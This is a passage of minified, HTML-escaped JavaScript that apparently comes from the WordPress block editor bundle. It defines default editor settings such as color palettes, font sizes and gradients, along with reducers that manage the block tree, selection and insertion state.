u={};n.r(u),n.d(u,{AdvancedPanel:()=&gt;dN,BackgroundPanel:()=&gt;Eu,BorderPanel:()=&gt;xp,ColorPanel:()=&gt;ch,DimensionsPanel:()=&gt;Om,FiltersPanel:()=&gt;Hf,GlobalStylesContext:()=&gt;rs,ImageSettingsPanel:()=&gt;uN,TypographyPanel:()=&gt;_g,areGlobalStyleConfigsEqual:()=&gt;ns,getBlockCSSSelector:()=&gt;Pf,getBlockSelectors:()=&gt;xb,getGlobalStylesChanges:()=&gt;vN,getLayoutStyles:()=&gt;gb,toStyles:()=&gt;_b,useGlobalSetting:()=&gt;as,useGlobalStyle:()=&gt;cs,useGlobalStylesOutput:()=&gt;Cb,useGlobalStylesOutputWithConfig:()=&gt;wb,useGlobalStylesReset:()=&gt;ls,useHasBackgroundPanel:()=&gt;Bu,useHasBorderPanel:()=&gt;hp,useHasBorderPanelControls:()=&gt;gp,useHasColorPanel:()=&gt;qp,useHasDimensionsPanel:()=&gt;Cm,useHasFiltersPanel:()=&gt;Nf,useHasImageSettingsPanel:()=&gt;cN,useHasTypographyPanel:()=&gt;lg,useSettingsForBlockElement:()=&gt;us});const d=window.ReactJSXRuntime,p=window.wp.blocks,h=window.wp.element,g=window.wp.data,m=window.wp.compose,f=window.wp.hooks,b=Symbol(&quot;mayDisplayControls&quot;),k=Symbol(&quot;mayDisplayParentControls&quot;),v=Symbol(&quot;blockEditingMode&quot;),_=Symbol(&quot;blockBindings&quot;),y=Symbol(&quot;isPreviewMode&quot;),x={name:&quot;&quot;,isSelected:!1},S=(0,h.createContext)(x);S.displayName=&quot;BlockEditContext&quot;;const{Provider:w}=S;function C(){return(0,h.useContext)(S)}const B=window.wp.deprecated;var I=n.n(B),j=n(7734),E=n.n(j);const T=window.wp.i18n,M={insertUsage:{}},P={alignWide:!1,supportsLayout:!0,colors:[{name:(0,T.__)(&quot;Black&quot;),slug:&quot;black&quot;,color:&quot;#000000&quot;},{name:(0,T.__)(&quot;Cyan bluish gray&quot;),slug:&quot;cyan-bluish-gray&quot;,color:&quot;#abb8c3&quot;},{name:(0,T.__)(&quot;White&quot;),slug:&quot;white&quot;,color:&quot;#ffffff&quot;},{name:(0,T.__)(&quot;Pale pink&quot;),slug:&quot;pale-pink&quot;,color:&quot;#f78da7&quot;},{name:(0,T.__)(&quot;Vivid red&quot;),slug:&quot;vivid-red&quot;,color:&quot;#cf2e2e&quot;},{name:(0,T.__)(&quot;Luminous vivid orange&quot;),slug:&quot;luminous-vivid-orange&quot;,color:&quot;#ff6900&quot;},{name:(0,T.__)(&quot;Luminous vivid amber&quot;),slug:&quot;luminous-vivid-amber&quot;,color:&quot;#fcb900&quot;},{name:(0,T.__)(&quot;Light green cyan&quot;),slug:&quot;light-green-cyan&quot;,color:&quot;#7bdcb5&quot;},{name:(0,T.__)(&quot;Vivid green cyan&quot;),slug:&quot;vivid-green-cyan&quot;,color:&quot;#00d084&quot;},{name:(0,T.__)(&quot;Pale cyan blue&quot;),slug:&quot;pale-cyan-blue&quot;,color:&quot;#8ed1fc&quot;},{name:(0,T.__)(&quot;Vivid cyan blue&quot;),slug:&quot;vivid-cyan-blue&quot;,color:&quot;#0693e3&quot;},{name:(0,T.__)(&quot;Vivid purple&quot;),slug:&quot;vivid-purple&quot;,color:&quot;#9b51e0&quot;}],fontSizes:[{name:(0,T._x)(&quot;Small&quot;,&quot;font size name&quot;),size:13,slug:&quot;small&quot;},{name:(0,T._x)(&quot;Normal&quot;,&quot;font size name&quot;),size:16,slug:&quot;normal&quot;},{name:(0,T._x)(&quot;Medium&quot;,&quot;font size name&quot;),size:20,slug:&quot;medium&quot;},{name:(0,T._x)(&quot;Large&quot;,&quot;font size name&quot;),size:36,slug:&quot;large&quot;},{name:(0,T._x)(&quot;Huge&quot;,&quot;font size name&quot;),size:42,slug:&quot;huge&quot;}],imageDefaultSize:&quot;large&quot;,imageSizes:[{slug:&quot;thumbnail&quot;,name:(0,T.__)(&quot;Thumbnail&quot;)},{slug:&quot;medium&quot;,name:(0,T.__)(&quot;Medium&quot;)},{slug:&quot;large&quot;,name:(0,T.__)(&quot;Large&quot;)},{slug:&quot;full&quot;,name:(0,T.__)(&quot;Full Size&quot;)}],imageEditing:!0,maxWidth:580,allowedBlockTypes:!0,maxUploadFileSize:0,allowedMimeTypes:null,canLockBlocks:!0,enableOpenverseMediaCategory:!0,clearBlockSelection:!0,__experimentalCanUserUseUnfilteredHTML:!1,__experimentalBlockDirectory:!1,__mobileEnablePageTemplates:!1,__experimentalBlockPatterns:[],__experimentalBlockPatternCategories:[],isPreviewMode:!1,blockInspectorAnimation:{animationParent:&quot;core/navigation&quot;,&quot;core/navigation&quot;:{enterDirection:&quot;leftToRight&quot;},&quot;core/navigation-submenu&quot;:{enterDirection:&quot;rightToLeft&quot;},&quot;core/navigation-link&quot;:{enterDirection:&quot;rightToLeft&quot;},&quot;core/search&quot;:{enterDirection:&quot;rightToLeft&quot;},&quot;core/social-links&quot;:{enterDirection:&quot;rightToLeft&quot;},&quot;core/page-list&quot;:{enterDirection:&quot;rightToLeft&quot;},&quot;core/spacer&quot;:{enterDirection:&quot;rightToLeft&quot;},&quot;core/home-link&quot;:{enterDirection:&quot;rightToLeft&quot;},&quot;core/site-title&quot;:{enterDirection:&quot;rightToLeft&quot;},&quot;core/site-logo&quot;:{enterDirection:&quot;rightToLeft&quot;}},generateAnchors:!1,gradients:[{name:(0,T.__)(&quot;Vivid cyan blue to vivid purple&quot;),gradient:&quot;linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%)&quot;,slug:&quot;vivid-cyan-blue-to-vivid-purple&quot;},{name:(0,T.__)(&quot;Light green cyan to vivid green cyan&quot;),gradient:&quot;linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%)&quot;,slug:&quot;light-green-cyan-to-vivid-green-cyan&quot;},{name:(0,T.__)(&quot;Luminous vivid amber to luminous vivid orange&quot;),gradient:&quot;linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%)&quot;,slug:&quot;luminous-vivid-amber-to-luminous-vivid-orange&quot;},{name:(0,T.__)(&quot;Luminous vivid orange to vivid red&quot;),gradient:&quot;linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%)&quot;,slug:&quot;luminous-vivid-orange-to-vivid-red&quot;},{name:(0,T.__)(&quot;Very light gray to cyan bluish gray&quot;),gradient:&quot;linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%)&quot;,slug:&quot;very-light-gray-to-cyan-bluish-gray&quot;},{name:(0,T.__)(&quot;Cool to warm spectrum&quot;),gradient:&quot;linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%)&quot;,slug:&quot;cool-to-warm-spectrum&quot;},{name:(0,T.__)(&quot;Blush light purple&quot;),gradient:&quot;linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%)&quot;,slug:&quot;blush-light-purple&quot;},{name:(0,T.__)(&quot;Blush bordeaux&quot;),gradient:&quot;linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%)&quot;,slug:&quot;blush-bordeaux&quot;},{name:(0,T.__)(&quot;Luminous dusk&quot;),gradient:&quot;linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%)&quot;,slug:&quot;luminous-dusk&quot;},{name:(0,T.__)(&quot;Pale ocean&quot;),gradient:&quot;linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%)&quot;,slug:&quot;pale-ocean&quot;},{name:(0,T.__)(&quot;Electric grass&quot;),gradient:&quot;linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%)&quot;,slug:&quot;electric-grass&quot;},{name:(0,T.__)(&quot;Midnight&quot;),gradient:&quot;linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%)&quot;,slug:&quot;midnight&quot;}],__unstableResolvedAssets:{styles:[],scripts:[]}};function R(e,t,n){return[...e.slice(0,n),...Array.isArray(t)?t:[t],...e.slice(n)]}function A(e,t,n,o=1){const r=[...e];return r.splice(t,o),R(r,e.slice(t,t+o),n)}const N=Symbol(&quot;globalStylesDataKey&quot;),L=Symbol(&quot;globalStylesLinks&quot;),D=Symbol(&quot;selectBlockPatternsKey&quot;),O=Symbol(&quot;reusableBlocksSelect&quot;),z=Symbol(&quot;sectionRootClientIdKey&quot;),V=Symbol(&quot;mediaEditKey&quot;),F=window.wp.privateApis,{lock:H,unlock:U}=(0,F.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(&quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,&quot;@wordpress/block-editor&quot;),{isContentBlock:G}=U(p.privateApis),$=e=&gt;e;function W(e,t=&quot;&quot;){const n=new Map,o=[];return n.set(t,o),e.forEach((e=&gt;{const{clientId:t,innerBlocks:r}=e;o.push(t),W(r,t).forEach(((e,t)=&gt;{n.set(t,e)}))})),n}function K(e,t=&quot;&quot;){const n=[],o=[[t,e]];for(;o.length;){const[e,t]=o.shift();t.forEach((({innerBlocks:t,...r})=&gt;{n.push([r.clientId,e]),t?.length&amp;&amp;o.push([r.clientId,t])}))}return n}function Z(e,t=$){const n=[],o=[...e];for(;o.length;){const{innerBlocks:e,...r}=o.shift();o.push(...e),n.push([r.clientId,t(r)])}return n}function q(e){return Z(e,(e=&gt;{const{attributes:t,...n}=e;return n}))}function Y(e){return Z(e,(e=&gt;e.attributes))}function X(e,t){return&quot;UPDATE_BLOCK_ATTRIBUTES&quot;===e.type&amp;&amp;void 0!==t&amp;&amp;&quot;UPDATE_BLOCK_ATTRIBUTES&quot;===t.type&amp;&amp;E()(e.clientIds,t.clientIds)&amp;&amp;function(e,t){return E()(Object.keys(e),Object.keys(t))}(e.attributes,t.attributes)}function Q(e,t){const n=e.tree,o=[...t],r=[...t];for(;o.length;){const e=o.shift();o.push(...e.innerBlocks),r.push(...e.innerBlocks)}for(const e of r)n.set(e.clientId,{});for(const t of r)n.set(t.clientId,Object.assign(n.get(t.clientId),{...e.byClientId.get(t.clientId),attributes:e.attributes.get(t.clientId),innerBlocks:t.innerBlocks.map((e=&gt;n.get(e.clientId)))}))}function J(e,t,n=!1){const o=e.tree,r=new Set([]),i=new Set;for(const o of t){let t=n?o:e.parents.get(o);do{if(e.controlledInnerBlocks[t]){i.add(t);break}r.add(t),t=e.parents.get(t)}while(void 0!==t)}for(const e of r)o.set(e,{...o.get(e)});for(const t of r)o.get(t).innerBlocks=(e.order.get(t)||[]).map((e=&gt;o.get(e)));for(const t of i)o.set(&quot;controlled||&quot;+t,{innerBlocks:(e.order.get(t)||[]).map((e=&gt;o.get(e)))})}const ee=(0,m.pipe)(g.combineReducers,(e=&gt;(t,n)=&gt;{if(t&amp;&amp;&quot;SAVE_REUSABLE_BLOCK_SUCCESS&quot;===n.type){const{id:e,updatedId:o}=n;if(e===o)return t;(t={...t}).attributes=new Map(t.attributes),t.attributes.forEach(((n,r)=&gt;{const{name:i}=t.byClientId.get(r);&quot;core/block&quot;===i&amp;&amp;n.ref===e&amp;&amp;t.attributes.set(r,{...n,ref:o})}))}return e(t,n)}),(e=&gt;(t={},n)=&gt;{const o=e(t,n);if(o===t)return t;switch(o.tree=t.tree?t.tree:new Map,n.type){case&quot;RECEIVE_BLOCKS&quot;:case&quot;INSERT_BLOCKS&quot;:o.tree=new Map(o.tree),Q(o,n.blocks),J(o,n.rootClientId?[n.rootClientId]:[&quot;&quot;],!0);break;case&quot;UPDATE_BLOCK&quot;:o.tree=new Map(o.tree),o.tree.set(n.clientId,{...o.tree.get(n.clientId),...o.byClientId.get(n.clientId),attributes:o.attributes.get(n.clientId)}),J(o,[n.clientId],!1);break;case&quot;SYNC_DERIVED_BLOCK_ATTRIBUTES&quot;:case&quot;UPDATE_BLOCK_ATTRIBUTES&quot;:o.tree=new Map(o.tree),n.clientIds.forEach((e=&gt;{o.tree.set(e,{...o.tree.get(e),attributes:o.attributes.get(e)})})),J(o,n.clientIds,!1);break;case&quot;REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{const e=function(e){const t={},n=[...e];for(;n.length;){const{innerBlocks:e,...o}=n.shift();n.push(...e),t[o.clientId]=!0}return t}(n.blocks);o.tree=new Map(o.tree),n.replacedClientIds.forEach((t=&gt;{o.tree.delete(t),e[t]||o.tree.delete(&quot;controlled||&quot;+t)})),Q(o,n.blocks),J(o,n.blocks.map((e=&gt;e.clientId)),!1);const r=[];for(const e of n.clientIds){const n=t.parents.get(e);void 0===n||&quot;&quot;!==n&amp;&amp;!o.byClientId.get(n)||r.push(n)}J(o,r,!0);break}case&quot;REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:const e=[];for(const r of n.clientIds){const n=t.parents.get(r);void 0===n||&quot;&quot;!==n&amp;&amp;!o.byClientId.get(n)||e.push(n)}o.tree=new Map(o.tree),n.removedClientIds.forEach((e=&gt;{o.tree.delete(e),o.tree.delete(&quot;controlled||&quot;+e)})),J(o,e,!0);break;case&quot;MOVE_BLOCKS_TO_POSITION&quot;:{const e=[];n.fromRootClientId?e.push(n.fromRootClientId):e.push(&quot;&quot;),n.toRootClientId&amp;&amp;e.push(n.toRootClientId),o.tree=new Map(o.tree),J(o,e,!0);break}case&quot;MOVE_BLOCKS_UP&quot;:case&quot;MOVE_BLOCKS_DOWN&quot;:{const e=[n.rootClientId?n.rootClientId:&quot;&quot;];o.tree=new Map(o.tree),J(o,e,!0);break}case&quot;SAVE_REUSABLE_BLOCK_SUCCESS&quot;:{const e=[];o.attributes.forEach(((t,r)=&gt;{&quot;core/block&quot;===o.byClientId.get(r).name&amp;&amp;t.ref===n.updatedId&amp;&amp;e.push(r)})),o.tree=new Map(o.tree),e.forEach((e=&gt;{o.tree.set(e,{...o.byClientId.get(e),attributes:o.attributes.get(e),innerBlocks:o.tree.get(e).innerBlocks})})),J(o,e,!1)}}return o}),(e=&gt;(t,n)=&gt;{const o=e=&gt;{let o=e;for(let r=0;r&lt;o.length;r++)!t.order.get(o[r])||n.keepControlledInnerBlocks&amp;&amp;n.keepControlledInnerBlocks[o[r]]||(o===e&amp;&amp;(o=[...o]),o.push(...t.order.get(o[r])));return o};if(t)switch(n.type){case&quot;REMOVE_BLOCKS&quot;:n={...n,type:&quot;REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;,removedClientIds:o(n.clientIds)};break;case&quot;REPLACE_BLOCKS&quot;:n={...n,type:&quot;REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;,replacedClientIds:o(n.clientIds)}}return e(t,n)}),(e=&gt;(t,n)=&gt;{if(&quot;REPLACE_INNER_BLOCKS&quot;!==n.type)return e(t,n);const o={};if(Object.keys(t.controlledInnerBlocks).length){const e=[...n.blocks];for(;e.length;){const{innerBlocks:n,...r}=e.shift();e.push(...n),t.controlledInnerBlocks[r.clientId]&amp;&amp;(o[r.clientId]=!0)}}let r=t;t.order.get(n.rootClientId)&amp;&amp;(r=e(r,{type:&quot;REMOVE_BLOCKS&quot;,keepControlledInnerBlocks:o,clientIds:t.order.get(n.rootClientId)}));let i=r;if(n.blocks.length){i=e(i,{...n,type:&quot;INSERT_BLOCKS&quot;,index:0});const r=new Map(i.order);Object.keys(o).forEach((e=&gt;{t.order.get(e)&amp;&amp;r.set(e,t.order.get(e))})),i.order=r,i.tree=new Map(i.tree),Object.keys(o).forEach((e=&gt;{const n=`controlled||${e}`;t.tree.has(n)&amp;&amp;i.tree.set(n,t.tree.get(n))}))}return i}),(e=&gt;(t,n)=&gt;{if(&quot;RESET_BLOCKS&quot;===n.type){const e={...t,byClientId:new Map(q(n.blocks)),attributes:new Map(Y(n.blocks)),order:W(n.blocks),parents:new Map(K(n.blocks)),controlledInnerBlocks:{}};return e.tree=new Map(t?.tree),Q(e,n.blocks),e.tree.set(&quot;&quot;,{innerBlocks:n.blocks.map((t=&gt;e.tree.get(t.clientId)))}),e}return e(t,n)}),(function(e){let t,n,o=!1;return(r,i)=&gt;{let s,l=e(r,i);if(&quot;SET_EXPLICIT_PERSISTENT&quot;===i.type&amp;&amp;(n=i.isPersistentChange,s=r.isPersistentChange??!0),void 0!==n)return s=n,s===l.isPersistentChange?l:{...l,isPersistentChange:s};const a=&quot;MARK_LAST_CHANGE_AS_PERSISTENT&quot;===i.type||o;return r!==l||a?(l={...l,isPersistentChange:a?!o:!X(i,t)},t=i,o=&quot;MARK_NEXT_CHANGE_AS_NOT_PERSISTENT&quot;===i.type,l):(o=&quot;MARK_NEXT_CHANGE_AS_NOT_PERSISTENT&quot;===i.type,s=r?.isPersistentChange??!0,r.isPersistentChange===s?r:{...l,isPersistentChange:s})}}),(function(e){const t=new Set([&quot;RECEIVE_BLOCKS&quot;]);return(n,o)=&gt;{const r=e(n,o);return r!==n&amp;&amp;(r.isIgnoredChange=t.has(o.type)),r}}),(e=&gt;(t,n)=&gt;{if(&quot;SET_HAS_CONTROLLED_INNER_BLOCKS&quot;===n.type){const o=e(t,{type:&quot;REPLACE_INNER_BLOCKS&quot;,rootClientId:n.clientId,blocks:[]});return e(o,n)}return e(t,n)}))({byClientId(e=new Map,t){switch(t.type){case&quot;RECEIVE_BLOCKS&quot;:case&quot;INSERT_BLOCKS&quot;:{const n=new Map(e);return q(t.blocks).forEach((([e,t])=&gt;{n.set(e,t)})),n}case&quot;UPDATE_BLOCK&quot;:{if(!e.has(t.clientId))return e;const{attributes:n,...o}=t.updates;if(0===Object.values(o).length)return e;const r=new Map(e);return r.set(t.clientId,{...e.get(t.clientId),...o}),r}case&quot;REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{if(!t.blocks)return e;const n=new Map(e);return t.replacedClientIds.forEach((e=&gt;{n.delete(e)})),q(t.blocks).forEach((([e,t])=&gt;{n.set(e,t)})),n}case&quot;REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{const n=new Map(e);return t.removedClientIds.forEach((e=&gt;{n.delete(e)})),n}}return e},attributes(e=new Map,t){switch(t.type){case&quot;RECEIVE_BLOCKS&quot;:case&quot;INSERT_BLOCKS&quot;:{const n=new Map(e);return Y(t.blocks).forEach((([e,t])=&gt;{n.set(e,t)})),n}case&quot;UPDATE_BLOCK&quot;:{if(!e.get(t.clientId)||!t.updates.attributes)return e;const n=new Map(e);return n.set(t.clientId,{...e.get(t.clientId),...t.updates.attributes}),n}case&quot;SYNC_DERIVED_BLOCK_ATTRIBUTES&quot;:case&quot;UPDATE_BLOCK_ATTRIBUTES&quot;:{if(t.clientIds.every((t=&gt;!e.get(t))))return e;let n=!1;const o=new Map(e);for(const r of t.clientIds){const i=Object.entries(t.options?.uniqueByBlock?t.attributes[r]:t.attributes??{});if(0===i.length)continue;let s=!1;const l=e.get(r),a={};i.forEach((([e,t])=&gt;{l[e]!==t&amp;&amp;(s=!0,a[e]=t)})),n=n||s,s&amp;&amp;o.set(r,{...l,...a})}return n?o:e}case&quot;REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{if(!t.blocks)return e;const n=new Map(e);return t.replacedClientIds.forEach((e=&gt;{n.delete(e)})),Y(t.blocks).forEach((([e,t])=&gt;{n.set(e,t)})),n}case&quot;REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{const n=new Map(e);return t.removedClientIds.forEach((e=&gt;{n.delete(e)})),n}}return e},order(e=new Map,t){switch(t.type){case&quot;RECEIVE_BLOCKS&quot;:{const n=W(t.blocks),o=new Map(e);return n.forEach(((e,t)=&gt;{&quot;&quot;!==t&amp;&amp;o.set(t,e)})),o.set(&quot;&quot;,(e.get(&quot;&quot;)??[]).concat(n[&quot;&quot;])),o}case&quot;INSERT_BLOCKS&quot;:{const{rootClientId:n=&quot;&quot;}=t,o=e.get(n)||[],r=W(t.blocks,n),{index:i=o.length}=t,s=new Map(e);return r.forEach(((e,t)=&gt;{s.set(t,e)})),s.set(n,R(o,r.get(n),i)),s}case&quot;MOVE_BLOCKS_TO_POSITION&quot;:{const{fromRootClientId:n=&quot;&quot;,toRootClientId:o=&quot;&quot;,clientIds:r}=t,{index:i=e.get(o).length}=t;if(n===o){const t=e.get(o).indexOf(r[0]),n=new Map(e);return n.set(o,A(e.get(o),t,i,r.length)),n}const s=new Map(e);return s.set(n,e.get(n)?.filter((e=&gt;!r.includes(e)))??[]),s.set(o,R(e.get(o),r,i)),s}case&quot;MOVE_BLOCKS_UP&quot;:{const{clientIds:n,rootClientId:o=&quot;&quot;}=t,r=n[0],i=e.get(o);if(!i.length||r===i[0])return e;const s=i.indexOf(r),l=new Map(e);return l.set(o,A(i,s,s-1,n.length)),l}case&quot;MOVE_BLOCKS_DOWN&quot;:{const{clientIds:n,rootClientId:o=&quot;&quot;}=t,r=n[0],i=n[n.length-1],s=e.get(o);if(!s.length||i===s[s.length-1])return e;const l=s.indexOf(r),a=new Map(e);return a.set(o,A(s,l,l+1,n.length)),a}case&quot;REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{const{clientIds:n}=t;if(!t.blocks)return e;const o=W(t.blocks),r=new Map(e);return t.replacedClientIds.forEach((e=&gt;{r.delete(e)})),o.forEach(((e,t)=&gt;{&quot;&quot;!==t&amp;&amp;r.set(t,e)})),r.forEach(((e,t)=&gt;{const i=Object.values(e).reduce(((e,t)=&gt;t===n[0]?[...e,...o.get(&quot;&quot;)]:(-1===n.indexOf(t)&amp;&amp;e.push(t),e)),[]);r.set(t,i)})),r}case&quot;REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{const n=new Map(e);return t.removedClientIds.forEach((e=&gt;{n.delete(e)})),n.forEach(((e,o)=&gt;{const r=e?.filter((e=&gt;!t.removedClientIds.includes(e)))??[];r.length!==e.length&amp;&amp;n.set(o,r)})),n}}return e},parents(e=new Map,t){switch(t.type){case&quot;RECEIVE_BLOCKS&quot;:{const n=new Map(e);return K(t.blocks).forEach((([e,t])=&gt;{n.set(e,t)})),n}case&quot;INSERT_BLOCKS&quot;:{const n=new Map(e);return K(t.blocks,t.rootClientId||&quot;&quot;).forEach((([e,t])=&gt;{n.set(e,t)})),n}case&quot;MOVE_BLOCKS_TO_POSITION&quot;:{const n=new Map(e);return t.clientIds.forEach((e=&gt;{n.set(e,t.toRootClientId||&quot;&quot;)})),n}case&quot;REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{const n=new Map(e);return t.replacedClientIds.forEach((e=&gt;{n.delete(e)})),K(t.blocks,e.get(t.clientIds[0])).forEach((([e,t])=&gt;{n.set(e,t)})),n}case&quot;REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{const n=new Map(e);return t.removedClientIds.forEach((e=&gt;{n.delete(e)})),n}}return e},controlledInnerBlocks:(e={},{type:t,clientId:n,hasControlledInnerBlocks:o})=&gt;&quot;SET_HAS_CONTROLLED_INNER_BLOCKS&quot;===t?{...e,[n]:o}:e});function te(e={},t){switch(t.type){case&quot;CLEAR_SELECTED_BLOCK&quot;:return e.clientId?{}:e;case&quot;SELECT_BLOCK&quot;:return t.clientId===e.clientId?e:{clientId:t.clientId};case&quot;REPLACE_INNER_BLOCKS&quot;:case&quot;INSERT_BLOCKS&quot;:return t.updateSelection&amp;&amp;t.blocks.length?{clientId:t.blocks[0].clientId}:e;case&quot;REMOVE_BLOCKS&quot;:return t.clientIds&amp;&amp;t.clientIds.length&amp;&amp;-1!==t.clientIds.indexOf(e.clientId)?{}:e;case&quot;REPLACE_BLOCKS&quot;:{if(-1===t.clientIds.indexOf(e.clientId))return e;const n=t.blocks[t.indexToSelect]||t.blocks[t.blocks.length-1];return n?n.clientId===e.clientId?e:{clientId:n.clientId}:{}}}return e}const ne=(0,g.combineReducers)({blocks:ee,isDragging:function(e=!1,t){switch(t.type){case&quot;START_DRAGGING&quot;:return!0;case&quot;STOP_DRAGGING&quot;:return!1}return e},isTyping:function(e=!1,t){switch(t.type){case&quot;START_TYPING&quot;:return!0;case&quot;STOP_TYPING&quot;:return!1}return e},isBlockInterfaceHidden:function(e=!1,t){switch(t.type){case&quot;HIDE_BLOCK_INTERFACE&quot;:return!0;case&quot;SHOW_BLOCK_INTERFACE&quot;:return!1}return e},draggedBlocks:function(e=[],t){switch(t.type){case&quot;START_DRAGGING_BLOCKS&quot;:return t.clientIds;case&quot;STOP_DRAGGING_BLOCKS&quot;:return[]}return e},selection:function(e={},t){switch(t.type){case&quot;SELECTION_CHANGE&quot;:return t.clientId?{selectionStart:{clientId:t.clientId,attributeKey:t.attributeKey,offset:t.startOffset},selectionEnd:{clientId:t.clientId,attributeKey:t.attributeKey,offset:t.endOffset}}:{selectionStart:t.start||e.selectionStart,selectionEnd:t.end||e.selectionEnd};case&quot;RESET_SELECTION&quot;:const{selectionStart:n,selectionEnd:o}=t;return{selectionStart:n,selectionEnd:o};case&quot;MULTI_SELECT&quot;:const{start:r,end:i}=t;return r===e.selectionStart?.clientId&amp;&amp;i===e.selectionEnd?.clientId?e:{selectionStart:{clientId:r},selectionEnd:{clientId:i}};case&quot;RESET_BLOCKS&quot;:const s=e?.selectionStart?.clientId,l=e?.selectionEnd?.clientId;if(!s&amp;&amp;!l)return e;if(!t.blocks.some((e=&gt;e.clientId===s)))return{selectionStart:{},selectionEnd:{}};if(!t.blocks.some((e=&gt;e.clientId===l)))return{...e,selectionEnd:e.selectionStart}}const n=te(e.selectionStart,t),o=te(e.selectionEnd,t);return n===e.selectionStart&amp;&amp;o===e.selectionEnd?e:{selectionStart:n,selectionEnd:o}},isMultiSelecting:function(e=!1,t){switch(t.type){case&quot;START_MULTI_SELECT&quot;:return!0;case&quot;STOP_MULTI_SELECT&quot;:return!1}return e},isSelectionEnabled:function(e=!0,t){return&quot;TOGGLE_SELECTION&quot;===t.type?t.isSelectionEnabled:e},initialPosition:function(e=null,t){return&quot;REPLACE_BLOCKS&quot;===t.type&amp;&amp;void 0!==t.initialPosition||[&quot;MULTI_SELECT&quot;,&quot;SELECT_BLOCK&quot;,&quot;RESET_SELECTION&quot;,&quot;INSERT_BLOCKS&quot;,&quot;REPLACE_INNER_BLOCKS&quot;].includes(t.type)?t.initialPosition:e},blocksMode:function(e={},t){if(&quot;TOGGLE_BLOCK_MODE&quot;===t.type){const{clientId:n}=t;return{...e,[n]:e[n]&amp;&amp;&quot;html&quot;===e[n]?&quot;visual&quot;:&quot;html&quot;}}return e},blockListSettings:(e={},t)=&gt;{switch(t.type){case&quot;REPLACE_BLOCKS&quot;:case&quot;REMOVE_BLOCKS&quot;:return Object.fromEntries(Object.entries(e).filter((([e])=&gt;!t.clientIds.includes(e))));case&quot;UPDATE_BLOCK_LIST_SETTINGS&quot;:{const n=&quot;string&quot;==typeof t.clientId?{[t.clientId]:t.settings}:t.clientId;for(const t in n)n[t]?E()(e[t],n[t])&amp;&amp;delete n[t]:e[t]||delete n[t];if(0===Object.keys(n).length)return e;const o={...e,...n};for(const e in n)n[e]||delete o[e];return o}}return e},insertionPoint:function(e=null,t){switch(t.type){case&quot;SET_INSERTION_POINT&quot;:return t.value;case&quot;SELECT_BLOCK&quot;:return null}return e},insertionCue:function(e=null,t){switch(t.type){case&quot;SHOW_INSERTION_POINT&quot;:{const{rootClientId:n,index:o,__unstableWithInserter:r,operation:i,nearestSide:s}=t,l={rootClientId:n,index:o,__unstableWithInserter:r,operation:i,nearestSide:s};return E()(e,l)?e:l}case&quot;HIDE_INSERTION_POINT&quot;:return null}return e},template:function(e={isValid:!0},t){return&quot;SET_TEMPLATE_VALIDITY&quot;===t.type?{...e,isValid:t.isValid}:e},settings:function(e=P,t){if(&quot;UPDATE_SETTINGS&quot;===t.type){const n=t.reset?{...P,...t.settings}:{...e,...t.settings};return Object.defineProperty(n,&quot;__unstableIsPreviewMode&quot;,{get(){return I()(&quot;__unstableIsPreviewMode&quot;,{since:&quot;6.8&quot;,alternative:&quot;isPreviewMode&quot;}),this.isPreviewMode}}),n}return e},preferences:function(e=M,t){switch(t.type){case&quot;INSERT_BLOCKS&quot;:case&quot;REPLACE_BLOCKS&quot;:{const n=t.blocks.reduce(((e,n)=&gt;{const{attributes:o,name:r}=n;let i=r;const s=(0,g.select)(p.store).getActiveBlockVariation(r,o);return s?.name&amp;&amp;(i+=&quot;/&quot;+s.name),&quot;core/block&quot;===r&amp;&amp;(i+=&quot;/&quot;+o.ref),{...e,[i]:{time:t.time,count:e[i]?e[i].count+1:1}}}),e.insertUsage);return{...e,insertUsage:n}}}return e},lastBlockAttributesChange:function(e=null,t){switch(t.type){case&quot;UPDATE_BLOCK&quot;:if(!t.updates.attributes)break;return{[t.clientId]:t.updates.attributes};case&quot;UPDATE_BLOCK_ATTRIBUTES&quot;:return t.clientIds.reduce(((e,n)=&gt;({...e,[n]:t.options?.uniqueByBlock?t.attributes[n]:t.attributes})),{})}return e},lastFocus:function(e=!1,t){return&quot;LAST_FOCUS&quot;===t.type?t.lastFocus:e},expandedBlock:function(e=null,t){switch(t.type){case&quot;SET_BLOCK_EXPANDED_IN_LIST_VIEW&quot;:return t.clientId;case&quot;SELECT_BLOCK&quot;:if(t.clientId!==e)return null}return e},highlightedBlock:function(e,t){switch(t.type){case&quot;TOGGLE_BLOCK_HIGHLIGHT&quot;:const{clientId:n,isHighlighted:o}=t;return o?n:e===n?null:e;case&quot;SELECT_BLOCK&quot;:if(t.clientId!==e)return null}return 